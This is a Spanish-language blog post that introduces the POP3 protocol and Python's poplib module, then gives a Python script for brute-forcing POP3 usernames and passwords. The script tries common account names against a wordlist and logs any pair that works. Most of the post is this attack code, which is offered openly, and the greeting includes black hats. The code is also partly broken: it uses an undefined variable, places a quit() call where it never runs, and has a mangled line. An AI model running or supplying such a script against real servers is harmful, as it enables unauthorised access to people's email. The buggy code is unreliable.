martes, 9 de junio de 2015

Armando nuestro script de Fuerza Bruta (para servidor POP) en Python!


Hola white hats, gray hats y black hats de la galaxia! En esta oportunidad (a raíz de unas pruebas que venía haciendo en un servidor) quiero compartir con ustedes un script que nos permitirá hacer fuerza bruta de usuarios y claves de un servidor POP.

Pero antes de empezar...de que se trata el protocolo POP?

Para los que no están familiarizados con este protocolo veamos rápidamente que función cumple:

En informática se utiliza el Post Office Protocol (POP3Protocolo de Oficina de Correo o "Protocolo de Oficina Postal") en clientes locales de correo para obtener los mensajes de correo electrónico almacenados en un servidor remoto. Es un protocolo de nivel de aplicación en el Modelo OSI

POP3 está diseñado para recibir correo, no para enviarlo; le permite a los usuarios con conexiones intermitentes o muy lentas (tales como las conexiones por módem), descargar su correo electrónico mientras tienen conexión y revisarlo posteriormente incluso estando desconectados. Cabe mencionar que la mayoría de los clientes de correo incluyen la opción de dejar los mensajes en el servidor, de manera tal que, un cliente que utilice POP3 se conecta, obtiene todos los mensajes, los almacena en la computadora del usuario como mensajes nuevos, los elimina del servidor y finalmente se desconecta.

Si quieren leer un poco más, acá les dejo el enlace a su correspondiente RFC: 
http://tools.ietf.org/html/rfc1725.html

Poplib, nuestra herramienta..


Para cumplir con la misión de esta entrada, utilizaremos el módulo poplib, cuyo código podemos descargar de:

https://hg.python.org/cpython/file/2.7/Lib/poplib.py

En este enlace podemos ver su documentación:

https://docs.python.org/2/library/poplib.html

Basicamente, este módulo nos permitirá conectarnos a un servidor POP3, autenticarnos y leer los correos.

Como podemos ver en la documentación, el módulo poplib posee dos clases:

class poplib.POP3(host[, port[, timeout]])
This class implements the actual POP3 protocol. The connection is created when the instance is initialized. If port is omitted, the standard POP3 port (110) is used. The optional timeout parameter specifies a timeout in seconds for the connection attempt (if not specified, the global default timeout setting will be used).

class poplib.POP3_SSL(host[, port[, keyfile[, certfile]]])
This is a subclass of POP3 that connects to the server over an SSL encrypted socket. If port is not specified, 995, the standard POP3-over-SSL port is used. keyfile and certfile are also optional - they can contain a PEM formatted private key and certificate chain file for the SSL connection.

Algunos de sus objetos (los que utilizaremos en nuestro script) son:
POP3.user(username)
Send user command, response should indicate that a password is required.
POP3.pass_(password)
Send password, response includes message count and mailbox size. Note: the mailbox on the server is locked until quit() is called. 
POP3.getwelcome()
          Returns the greeting string sent by the POP3 server.

Para resumir, tenemos las clases "poplib.POP3" y "poplib.POP3_SSL" que nos sirven para conectarnos al servidor (usamos la segunda si el servidor tiene implementado SSL) y los objetos "user" y "pass_" para autenticarnos. Por último, tenemos el objeto "getwelcome" que nos sirve para capturar el mensaje de bienvenida del servidor.

Ahora, que sucede si utilizamos este módulo junto a un proceso iterativo y nos conectamos al servidor una y otra vez para probar pares de usuario-contraseña y capturar la respuesta? Bingo, tenemos un script de fuerza bruta.


Knock, Knock, Knocking on Post Office´s doors

Lo primero que haremos en nuestro script será importar el módulo poplib y crear la función que se conectará al servidor:

import getpass, poplib

def connPop(usr,password,k):
  try:

   print 'Trying user:', usr[k] , 'password:', password
   M = poplib.POP3('dirección_del_servidor_POP')   #usamos la clase poplib para conectar
   M.user(usr[k])                                                         #pasamos el usuario
   M.pass_(password)                                                #pasamos la clave
   print 'USER', usr[k] , ':', M.getwelcome()            #evaluamos el mensaje del servidor
   log=open('log.txt','a')
   log.write(data)
   log.close()
   mensaje = 0
   return mensaje                   #si el par usuario-clave coincide se guarda en un archivo
                                             #de lo contrario maneja el error con el except y nos devuelve el
  except:                               #mensaje "LOGIN FAILED"
   mensaje = 1
  
   print 'USER', usr[k], 'and password:', password  , ': LOGIN FAILED'
   return mensaje
   M.quit()

#A continuación definimos una función para verificar si una variable está vacía:

def nula(variable):       # Implementamos la función.
   if(len(variable)==0):  # Preguntamos por la longitud de la variable.
    return True             # Si es 0 la funcion devuelve Verdadero(True)
   else:
    return False            # Si la funcion no es cero, devolvemos Falso(False)

#Por último definimos el cuerpo del script:

usra = ['admin','root','pedro']   #lista que usaremos para probar usuarios
i = 0
archip=open('su_wordlist_preferida.txt','rb')  #leemos el archivo de claves

while (i < 4):                 #acá deberán cambiar el valor dependiendo la cantidad de usuarios que                                         #tengan en su lista

  passwd = archip.readline()
  passw = passwd.encode('ascii','strict') 
  print passw
  mens = connPop(usra,passw,i)      #llamamos a la función definida arriba y pasamos los                 print mens                                      #parámetros usra,passw,i
  ar_pass = nula(passw)
  if mens==0:                  #si el mensaje es 0 (osea que nos fuimos a la rama del except)
    i  = i + 1                      #incrementamos la variable i
  if ar_pass==True:        #si hemos probado todas las claves modificamos el puntero del archivo
    i = i + 1                      # de claves para que vuelva a leer desde el principio
    archip.seek(0)

Cabe aclarar que dependiendo del formato de wordlist que usemos puede tirarnos un error ya que no lee las claves. Pueden  notar que tuve que encodear la variable passw para que pueda ser leída por el módulo.

Eso es todo por ahora. Espero que sea de utilidad. Cualquier consulta no duden en escribirme. Nos vemos en algún punto de la galaxia.

Saludos y...

HAPPY JEDI HACKING!